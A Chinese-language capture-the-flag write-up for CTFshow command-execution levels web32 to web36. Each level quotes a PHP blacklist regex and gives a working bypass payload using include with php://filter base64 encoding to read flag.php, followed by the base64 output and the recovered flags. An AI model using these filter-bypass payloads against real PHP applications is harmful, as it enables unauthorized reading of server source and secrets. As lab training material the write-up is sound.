CTFshow 命令执行 web32 33 34 35 36

目录

web32

代码分析:

payload:

flag:

web33

代码分析:

payload:

web34

代码分析:

payload:

flag:

web35

payload:

flag:

web36

代码分析:

payload:

 flag:


web32

代码分析:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

这一题过滤的更多了,甚至连分号/左括号都过滤掉了,这时候可以尝试使用文件包含+php协议来做

payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

结果将返回将源代码进行base64加密的字符串

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ODkyMDRlYzMtZDAzNS00M2QzLTk5ZTUtMmI2MzkyOTg3Y2JkfSI7DQo= 

然后我们用在线工具进行解密

CTFshow 命令执行 web32 33 34 35 36_第1张图片

flag:

ctfshow{89204ec3-d035-43d3-99e5-2b6392987cbd} 

ps:前面的几道题也可以使用文件包含做,但是没有什么必要

web33

代码分析:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c))

 这道题与上一道题类似,也可以使用文件包含做

payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

结果将返回将源代码进行base64加密的字符串

PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0wNCAwMDo0OToxOQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMDQgMDA6NDk6MjYNCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KJGZsYWc9ImN0ZnNob3d7ZmI5ZDEwZmMtNWE5Ni00NGY5LWExY2YtYmY1NWFmY2JhYTkwfSI7DQo= 

然后我们用在线工具进行解密

CTFshow 命令执行 web32 33 34 35 36_第2张图片

flag:

ctfshow{fb9d10fc-5a96-44f9-a1cf-bf55afcbaa90}

web34

代码分析:

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

跟前两题解法一样...

payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

CTFshow 命令执行 web32 33 34 35 36_第3张图片

flag:

ctfshow{929704e2-7f4e-4303-b333-18e1a7e7bd6e} 

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

跟前三题解法一样...

payload:

?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

CTFshow 命令执行 web32 33 34 35 36_第4张图片

flag:

ctfshow{31fa949f-590e-46d5-a292-3656fabc7563}

web36

代码分析:

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

跟前面四题解法类似,但是这里将数字过滤了,所以可以使用字符传参

payload:

?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

CTFshow 命令执行 web32 33 34 35 36_第5张图片

 flag:

ctfshow{6043cdb7-3e82-437f-bba3-7e3990480fec}

你可能感兴趣的:(命令执行,渗透测试,CTF,安全,web安全,网络安全)